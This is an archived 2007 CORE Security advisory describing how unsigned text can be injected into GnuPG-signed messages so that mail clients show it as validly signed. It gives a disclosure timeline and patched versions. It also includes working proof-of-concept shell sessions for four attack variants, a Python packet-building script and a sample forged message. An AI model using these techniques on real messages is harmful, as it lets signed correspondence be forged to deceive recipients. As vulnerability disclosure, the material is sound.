Home
Reading
Searching
Subscribe
Sponsors
Statistics
Posting
Contact
Spam
Lists
Links
About
Hosting
Filtering
Features Download
Marketing
Archives
FAQ
Blog
 
Gmane
From: CORE Security Technologies Advisories <advisories <at> coresecurity.com>
Subject: CORE-2007-0115: GnuPG and GnuPG clients unsigned data injection vulnerability
Newsgroups: gmane.comp.security.bugtraq
Date: Monday 5th March 2007 22:44:23 UTC (over 10 years ago)
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


             Core Security Technologies - CoreLabs Advisory
                  http://www.coresecurity.com/corelabs/

      GnuPG and GnuPG clients unsigned data injection vulnerability



Date Published: 2007-03-05

Last Update: 2007-03-05

Advisory ID: CORE-2007-0115

Bugtraq IDs:
 BID 22757 - GnuPG
 BID 22758 - Enigmail
 BID 22759 - KMail
 BID 22760 - Evolution
 BID 22777 - Sylpheed
 BID 22778 - Mutt
 BID 22779 - GNUMail

CVE Names:
 CVE-2007-1263 - for the visual distinction issues in GnuPG itself,
                 all 4 attacks.
 CVE-2007-1264 - Enigmail improper use of --status-fd
 CVE-2007-1265 - KMail improper or non-existing use of --status-fd
 CVE-2007-1266 - Evolution improper or non-existing use of --status-fd
 CVE-2007-1267 - Sylpheed improper or non-existing use of --status-fd
 CVE-2007-1268 - Mutt improper or non-existing use of --status-fd
 CVE-2007-1269 - GNUMail improper or non-existing use of --status-fd

Title: GnuPG and GnuPG clients unsigned data injection vulnerability

Class: Implementation Error

Remotely Exploitable: Yes

Locally Exploitable: Yes

Advisory URL:
 http://www.coresecurity.com/?action=item&id=1687

Vendors contacted:

GnuPG
. Core notification: 2007-02-01
. Notification acknowledged by GnuPG maintainers: 2007-02-02
. Technical details sent by Core: 2007-02-05
. GnuPG response (incorrect use of GnuPG): 2007-02-14
. GnuPG states that they will issue a patch: 2007-02-20
. Patch received from the GnuPG team: 2007-02-20
. GnuPG develops a patch for GPGME: 2007-02-26
. New version of GnuPG and GPGME released: 2007-03-05

Enigmail
. Core notification: 2007-02-15
. Technical details sent by Core: 2007-02-15
. Notification acknowledged by Enigmail: 2007-02-16
. Issue reproduced and confirmed by Enigmail: 2007-02-19
. Enigmail develops a working patch: 2007-02-20

KMail
. Core notification: 2007-02-23
. Notification acknowledged by KMail: 2007-02-24
. Technical details sent by Core: 2007-02-26

Evolution
. Core notification: 2007-02-23

Sylpheed
. Core notification: 2007-02-23

Mutt
. Core notification: 2007-02-23
. Notification acknowledged by Mutt: 2007-02-24
. Technical details sent by Core: 2007-02-26

GNUMail
. Core notification: 2007-02-23
. Notification acknowledged by GNUMail: 2007-02-23
. Technical details sent by Core: 2007-02-26

Release Mode: COORDINATED RELEASE


*Vulnerability Description*

 Scripts and applications using GnuPG are prone to a vulnerability in how
 signature verification information is shown to the end user.

 An attacker is able to add arbitrary content to a signed message.
 The receiver of the message (using a mail client such as Enigmail
 to read the message) will not be able to distinguish the forged and the
 properly signed parts of the message.

 This problem derives from the fact that a valid OpenPGP message can
 include multiple portions, each of them in turn considered a message but
 some of which may or may not be signed and/or encrypted.  Vulnerable third
 party applications do not use the appropriate GnuPG API to determine
 message boundaries and do not explicitly differentiate messages in their
 output to end users.

 In some cases, and depending on how GnuPG is used, even an advanced user
 directly using GnuPG from the command line may be fooled by this attack.

 It's important to note that this IS NOT a cryptographic problem, but
 rather a problem on how information is shown to the user and how
third-party
 applications and GnuPG interact with each other.

*Vulnerable Packages*

 GnuPG 1.4.6 and previous versions.

 Enigmail 0.94.2 and previous versions.

 KMail 1.9.5 and previous versions.

 Evolution 2.8.1 and previous versions.

 Sylpheed 2.2.7 and previous versions.

 Mutt 1.5.13 and previous versions.

 GNUMail 1.1.2 and previous versions.

 Other scripts and applications using GnuPG may be vulnerable.


*Solution/Vendor Information/Workaround*

 The following versions of GnuPG and GPGME resolve this issue:
 GnuPG 1.4.7
 GPGME 1.1.4

 They can be downloaded from: http://www.gnupg.org/download/

 The fixed versions enforce a limit of processing only one message on each
 run so third party applications and direct GPG users can not be confused
 by multiple messages with different security properties being intermingled
 in the output without clear message boundaries.

 For application developers using GnuPG as backend, it's a must to make the
 application pay attention to the output of the "--status-fd" option.

 Workaround:

 If a signed message looks suspicious, the validity of the signature can
 be verified manually by invoking GnuPG from the command line and adding
 the special option "--status-fd", as described below, to gain extra
 information.


*Credits*

 This vulnerability was found by Gerardo Richarte from Core Security
 Technologies.


*Technical Description - Exploit/Concept Code*

 As explained by RFC2440, an OpenPGP message, as used by GnuPG, is composed
 of several packets. A packet is a chunk of data that has a tag specifying
 its meaning. An OpenPGP message consists of a number of packets. Some of
 those packets may contain other OpenPGP packets.

 The most common types are a plaintext packet inside a signature packet,
 or a plaintext packet inside a signature packet inside an encrypted
packet.
 When two or more OpenPGP messages are concatenated together, a new
 valid (and longer) message is obtained, and GnuPG handles it without
 problem, processing packets and messages one after the other. Our
 attack takes advantage of this feature of GnuPG. (It's actually a real
 feature).

 A standard signed-only message can be represented as:

    Compressed (OnePassSignature + Literal(text) + Signature)

 When the message is also encrypted, the session key, and an extra
 encryption layer is added:

    PubKeyEncrypted + EncryptedData( Compressed ( ... ) )

 The message could be encrypted using symmetric crypto instead of public
 key:

    SimKeyEncrypted + EncryptedData( Compressed ( ... ) )

 If the message is sent on email, or some other 7-bit medium, it may
 be ASCII-armored by encoding it using base64 and then appending a
 base64-encoded crc24 of the hole.

    AsciiArmor(PubKeyEncrypted + EncryptedData( Compressed ( ... ) )

 Our attack consists in prepending a literal packet before a normal
 message, but inside the AsciiArmor if needed. We thought of several
 variants for this attack, and some more can be easily generated.

 There are four different ways to add text to a signed message, without
 invalidating the signature.

*Attack Variant 1: Prepending plaintext to an only-signed message.

 This variant is the simplest, and consists on prepending a single
Literal()
 packet to an existing message, resulting in, for example:

    Literal(bad_text) + Compressed( OnePassSignature + Literal(text) +
    Signature)

 When GnuPG processes this message, it first outputs , then
 outputs  and then verifies what's enclosed between the
 OnePassSignature and Signature packets, reporting that the signature is
 correct (for ).  When GnuPG is used through standard input and
 standard output (as it is in most cases when it's used by other
 applications such as MUAs), no distinction or separation is shown in
 the output between the two texts, hence the application reading GnuPG's
 output has no way to decide if the original input consisted of several
 texts or just one correctly signed. And this is exactly the problem we
 found.

 Example:

- ----------------
[email protected]:~/gpg$ gpg -z9 --output signed.gpg --sign

You need a passphrase to unlock the secret key for
user: "Gerardo Richarte <[email protected]>"
1024-bit DSA key, ID 3944C2D0, created 1999-02-16

This text is signed, it's a simple text to use as an example.

[email protected]:~/gpg$ gpg -z0 --output forged.gpg --store
This text is inserted by the attacker
[email protected]:~/gpg$
[email protected]:~/gpg$ cat forged.gpg signed.gpg >hoax.gpg
[email protected]:~/gpg$ gpg "
Primary key fingerprint: A390 1BBA 2C58 D679 5A71  86F9 404F 4B53 3944 C2D0

- ----------------

 We can inspect the structure of the message using --list-packets.
 Although it doesn't show the nesting levels, it's a good help when
 trying these things:

- ----------------
[email protected]:~/gpg$ gpg --list-packets 
gpg: Good signature from "Gerardo Richarte <[email protected]>"
[GNUPG:] VALIDSIG A3901BBA2C58D6795A7186F9404F4B533944C2D0 2007-02-22
1172176420 0 3 0 17 2 00 A3901BBA2C58D6795A7186F9404F4B533944C2D0
[GNUPG:] TRUST_UNDEFINED
Primary key fingerprint: A390 1BBA 2C58 D679 5A71  86F9 404F 4B53 3944 C2D0
- ----------------

 When GnuPG is used on files (vs. used through standard input and output),
 the user will be asked if the output file can be overwritten, and only the
 content of one Literal packet will be stored in the output file. If the
 user chooses not to overwrite the file, and just presses Enter as answer
 to the alternative file name, GnuPG's behaviour is not clear enough, and
 the user may be fooled into believing the forged text is actually
 correctly signed. However, the sole y/n question may be interpreted as
 enough sign that something weird is going on:

- ----------------
[email protected]:~/gpg$ gpg hoax.gpg
File `hoax' exists. Overwrite? (y/N) n
Enter new filename:
gpg: Signature made Thu 22 Feb 2007 05:33:40 PM ART using DSA key ID
3944C2D0
gpg: Good signature from "Gerardo Richarte <[email protected]>"
Primary key fingerprint: A390 1BBA 2C58 D679 5A71  86F9 404F 4B53 3944 C2D0
[email protected]:~/gpg$ ls -l
total 16
- -rw-r--r-- 1 gera gera  38 2007-02-23 12:16 hoax
- -rw-r--r-- 1 gera gera 216 2007-02-22 17:36 hoax.gpg
- -rw-r--r-- 1 gera gera  46 2007-02-22 17:35 prefix.gpg
- -rw-r--r-- 1 gera gera 170 2007-02-22 17:33 signed.gpg
[email protected]:~/gpg$ cat hoax
This text is inserted by the attacker
[email protected]:~/gpg$
- ----------------

*Attack Variant 2: Prepending plaintext to a "clearsign" message

 Clearsign messages are messages signed and encapsulated to be sent as an
 email: the text of the message is not encoded in any way and can be read
 without the help of GnuPG, and the signature is encoded using base64. If
 you wanted to perform an attack on somebody, you would first need an
 email signed by the victim, and then perform this attack on it.

 We found two different ways of prepending a forged text to a clearsign
 message. The first is simpler, but probably more visible to the victim.
 The second is not so straightforward and clean, but may appear a little
 bit less suspicious.

 A description of the first way to prepend plaintext to a "clearsign"
 message follows:

- ----------------
[email protected]:~/gpg$ gpg -z0 --store -a --output clear_forged.txt
This text was inserted by the attacker!
[email protected]:~/gpg$ gpg --clearsign --output clear_signed.txt

You need a passphrase to unlock the secret key for
user: "Gerardo Richarte <[email protected]>"
1024-bit DSA key, ID 3944C2D0, created 1999-02-16

This text is in clear, and signed.

[email protected]:~/gpg$ cat clear_signed.txt
- -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

This text is in clear, and signed.
- -----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.3 (GNU/Linux)

iD8DBQFF3xlcQE9LUzlEwtARAnJDAKCdWgHGdQr7r2yiYVG44NsYfGzNoQCfaPG9
JrhgBPYXGkBivmKlA879IvA=
=/97+
- -----END PGP SIGNATURE-----
[email protected]:~/gpg$ cat clear_forged.txt clear_signed.txt >clear_hoax.txt
[email protected]:~/gpg$ gpg "
Primary key fingerprint: A390 1BBA 2C58 D679 5A71  86F9 404F 4B53 3944 C2D0
- ----------------

 Although GnuPG behaves exactly like in Attack Variant 1 previously
 described, some applications using it, like Enigmail, independently
 detect the boundaries of GPG data by inspecting the message, and, in
 Enigmail's case, for example, only process the first part of
 clear_hoax.txt, but don't process the signature part, making
 Enigmail/GnuPG not vulnerable to this specific mode of attack. It may be
 possible to fool Enigmail by using PGP/MIME, but our quick tests showed no
 results.

 We have not tested other applications like Kmail or Evolution with this
 approach.

 Note in the previous example that clear_signed.txt is how a signed email
 looks like. When performing our tests we found problems when copying the
 clearsign text from an email, specially regarding CrLf conversions and
 trimmed spaces at end of lines. We had to be very careful when extracting
 the original signed text from the email.

 For the second way to prepend a forged text to a "clearsign message" we
 will first convert the clearsign message to a standard GnuPG signed
 message, and then we'll do just the same we did in Attack Variant 1.

 From a clearsign message, either created using --clearsign or cut&pasted
 from an email, we need to extract the plaintext and the detached
 signature, and then build a GnuPG message from it. The following python
 script, although not perfect, will do just that (you'll need gpg.py [3]
and
 Impacket [2]):

- ---------------- clearsign2sign.py
#!/usr/bin/python
import os, gpg, sys, base64

clear_sign = open(sys.argv[1], "rb").read().splitlines()

start = clear_sign.index("-----BEGIN PGP SIGNED MESSAGE-----")
mid = clear_sign.index("-----BEGIN PGP SIGNATURE-----")
end = clear_sign.index("-----END PGP SIGNATURE-----")

text = '\r\n'.join(clear_sign[start+3:mid])
sign = '\n'.join(clear_sign[mid+3:end-1])

onepass = gpg.OnePassSignature()
onepass['keyid'] = (0x12341234,0x12341234)
onepass['digest_algo'] = 2
onepass['pubkey_algo'] = 1
onepass['sigclass'] = 1

plain1 = gpg.Plaintext()
plain1['name'] = 'original'
plain1['data'] = text
plain1['mode'] = 0x62

signature = gpg.Raw()
signature['data'] = base64.decodestring(sign)

compressed = gpg.Compressed()
compressed['algorithm'] = gpg.COMPRESS_ALGO_ZLIB
compressed['data'] = [onepass, plain1, signature]

pkt = gpg.Packet()
pkt['version'] = 1
pkt['data'] = compressed

os.write(1,str(pkt))
- ----------------

 This script will create a GnuPG message with the following structure:

    Compress ( OnePassSignature + Literal + Signature )

 To verify that the generated file is valid, we can pipe the output to gpg:

- ----------------
[email protected]:~/gpg$ ./clearsign2sign.py clear_signed.txt |gpg
This text is in clear, and signed.
gpg: Signature made Fri 23 Feb 2007 06:23:40 PM ART using DSA key ID
3944C2D0
gpg: Good signature from "Gerardo Richarte <[email protected]>"
Primary key fingerprint: A390 1BBA 2C58 D679 5A71  86F9 404F 4B53 3944 C2D0
[email protected]:~/gpg$ ./clearsign2sign.py clear_signed.txt |gpg
--list-packets
:compressed packet: algo=2
:onepass_sig packet: keyid 1234123412341234
        version 3, sigclass 00, digest 2, pubkey 1, last=1
:literal data packet:
        mode b (62), created 0, name="original",
        raw data: 36 bytes
:signature packet: algo 17, keyid 404F4B533944C2D0
        version 3, created 1172265820, md5len 5, sigclass 01
        digest algo 2, begin of digest 69 31
        data: [158 bits]
        data: [158 bits]
[email protected]:~/gpg$
- ----------------

 The generated message can, again, be used as described in Attack Variant
 1, concatenated to a forged plaintext, to perform an attack.

 If you want to send this as an email, the easiest way is to compose an
 email in your mail client, insert PGP/GPG header and footer, and paste a
 base64 version of the concatenation of forged.gpg and the output from
 clearsign2sign.py:

- ----------------
[email protected]:~/gpg$ ./clearsign2sign.py clear_signed.txt >cleared.gpg
[email protected]:~/gpg$ cat forged.gpg cleared.gpg | uuencode -m . > hoax.b64
[email protected]:~/gpg$ cat hoax.b64
begin-base64 644 ,
yyxiAEXd/nRUaGlzIHRleHQgaXMgaW5zZXJ0ZWQgYnkgdGhlIGF0dGFja2Vy
CsiJAnicO8LLzMDEKGQCgYynjZI48osy0zPzEnMYgCAkI7NYoSS1okQBSGfm
KSTnpCYW6Sgk5qUoFGem56Wm6PFyddgzszK63o+OcfD3DrZ0OXRBkCnTkGGe
/p3lC5bMX5O579Kxm+fkWEQfPGb7yzDPSvTKol/m67kNGjsSmd05t7TFl3oC
AFw8Lgo=
====
- ----------------

 And this is how the final mail text should look like (first and last lines
 of uudecode output's removed):

- -----BEGIN PGP MESSAGE-----
Version: GnuPG v1.4.3 (GNU/Linux)

yyxiAEXd/nRUaGlzIHRleHQgaXMgaW5zZXJ0ZWQgYnkgdGhlIGF0dGFja2Vy
CsiJAnicO8LLzMDEKGQCgYynjZI48osy0zPzEnMYgCAkI7NYoSS1okQBSGfm
KSTnpCYW6Sgk5qUoFGem56Wm6PFyddgzszK63o+OcfD3DrZ0OXRBkCnTkGGe
/p3lC5bMX5O579Kxm+fkWEQfPGb7yzDPSvTKol/m67kNGjsSmd05t7TFl3oC
AFw8Lgo=
- -----END PGP MESSAGE-----

 Although not necessarily needed for every use, strictly speaking, the
crc24
 is missing. If you want, you can use gpg.py to calculate it. Then you just
 need to append it before the closing line:

- ----------------
[email protected]:~/gpg$ python
>>> import gpg
>>> print '='+gpg.crc24(open('forged.gpg').read() +
open('cleared.gpg').read())
=BLll
- ----------------

 In this example, you need to insert the string '=BLll' in a line before
 the -----END PGP MESSAGE----- marker to obtain a complete message.

 We've also confirmed that it's possible to perform the attack using
PGP/MIME
 to encode the email body as an HTML message, which hides the original text
 using an open HTML comment. When PGP/MIME and HTML is used this way, the
 attacker can fully replace the message the victim reads, while still
 maintaining a valid signature, making the attack even more dangerous.

*Attack Variant 3: Prepending plaintext to an encrypted and signed message.

 So far we've concentrated on messages that were originally only signed,
but
 if the original message is also encrypted, the attack is still as easy to
 perform as it is for only signed messages.

 The structure of encrypted messages is quite similar for symmetrical
 encrypted messages or those encrypted using a public key:

 Symmetrical Encryption:

   SymKeyEnc_SesKey + Encrypted(OnePassSignature + Literal(text) +
Signature)

 Public Key Encryption:

   PubKeyEnc_SesKey + Encrypted(OnePassSignature + Literal(text) +
Signature)

 The difference is in the first packet, where SymKeyEnc_SesKey is a packet
 containing a session key encrypted using a symmetric cipher, and
 PubKeyEnc_SesKey contains the session key encrypted using a public key.
 This is a simplified example, in the more common case the data inside
 Encrypted() will be compressed.

 It would be straightforward to perform the attack as described in Variant
 1 to obtain:

 Literal(bad_text) + SymKeyEnc_SesKey + Encrypted(OnePassSignature + ...)

 or

 Literal(bad_text) + PubKeyEnc_SesKey + Encrypted(OnePassSignature + ...)

 and this would be enough to attack people using any of the
 vulnerable GnuPG wrappers. But for people using GnuPG directly on the
 command line, they will notice that a part of the message is printed
before
 asking the passphrase, and that another part is printed after asking
 it, which may look suspicious. However, if needed, this behaviour can be
 avoided by forcing GnuPG to ask the passphrase prior to processing any
 Literal packet and outputting any text. Simply change the order of the
 packets in forged message to look like:

 SymKeyEnc_SesKey + Literal(bad_text) + Encrypted(OnePassSignature + ...)

 or

 PubKeyEnc_SesKey + Literal(bad_text) + Encrypted(OnePassSignature + ...)

 With this GnuPG will ask the passphrase as soon as it sees the
 *KeyEnc_SesKey packets, and will only decrypt the contents of the
 Encrypted() packet, effectively outputting all text without interruption.

*Attack Variant 4: Hiding the injected text from the naked eye

 In all the previous variants the injected text is stored without any
 encryption in the final message, and may be easily seen, probably making
 the attack weaker. A very simple solution to this is to compress the
 injected Literal packet, producing something like:

 Compressed( Literal(bad_text) ) + original_message

 or even

 Compressed( Literal(bad_text) + original_message )

 The same effect of hiding the injected text can be achieved using
 encryption.

 All this more advanced variants can be easily tried using gpg.py.

 Another more advanced option would be to encrypt the injected text, but as
 the encryption layer is never disabled, all the remaining data would have
 to be encrypted as well. We have not tried this specific setting, but we
 are pretty sure it must work.


*References*

[1] The GNU Privacy Guard
    http://www.gnupg.org/

[2] Impacket library
    http://oss.coresecurity.com/projects/impacket.html

[3] File needed to reproduce some of the attacks
    http://www.coresecurity.com/files/attachments/gpg.py

[4] RFC 2440
    http://www.ietf.org/rfc/rfc2440.txt

[5] Similar (but different) vulnerability in GnuPG
    http://lists.gnupg.org/pipermail/gnupg-announce/2006q1/000216.html


*About CoreLabs*

 CoreLabs, the research center of Core Security Technologies, is charged
 with anticipating the future needs and requirements for information
 security technologies.

 We conduct our research in several important areas of computer security
 including system vulnerabilities, cyber attack planning and simulation,
 source code auditing, and cryptography. Our results include problem
 formalization, identification of vulnerabilities, novel solutions and
 prototypes for new technologies.

 CoreLabs regularly publishes security advisories, technical papers,
 project information and shared software tools for public use at:
 http://www.coresecurity.com/corelabs/


*About Core Security Technologies*

 Core Security Technologies develops strategic solutions that help
 security-conscious organizations worldwide. The company’s flagship
 product, CORE IMPACT, is the first automated penetration testing
 product for assessing specific information security threats to an
 organization. Penetration testing evaluates overall network security
 and identifies what resources are exposed. It enables organizations to
 determine if current security investments are detecting and preventing
 attacks.

 Core augments its leading technology solution with world-class security
 consulting services, including penetration testing, software security
 auditing and related training.

 Based in Boston, MA. and Buenos Aires, Argentina, Core Security
 Technologies can be reached at 617-399-6980 or on the Web at
 http://www.coresecurity.com.


*DISCLAIMER*

 The contents of this advisory are copyright (c) 2007 CORE Security
 Technologies and (c) 2007 CoreLabs, and may be distributed freely
 provided that no fee is charged for this distribution and proper
 credit is given.

*PGP Key*

 This advisory has been signed with the PGP key of Core Security
 Technologies advisories team, which is available for download at
 http://www.coresecurity.com/files/attachments/core_security_advisories.asc

$Id: GPG-injection-advisory.txt 331 2007-03-05 22:21:42Z csarraute $

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)

iD8DBQFF7J1HyNibggitWa0RAtQzAJ0ZTnaInvj6BB6dr/kFw+Cg87SObACfbGwY
ISyEYgw4330Ydw9aLihKaF4=
=wWtY
-----END PGP SIGNATURE-----
 
CD: 4ms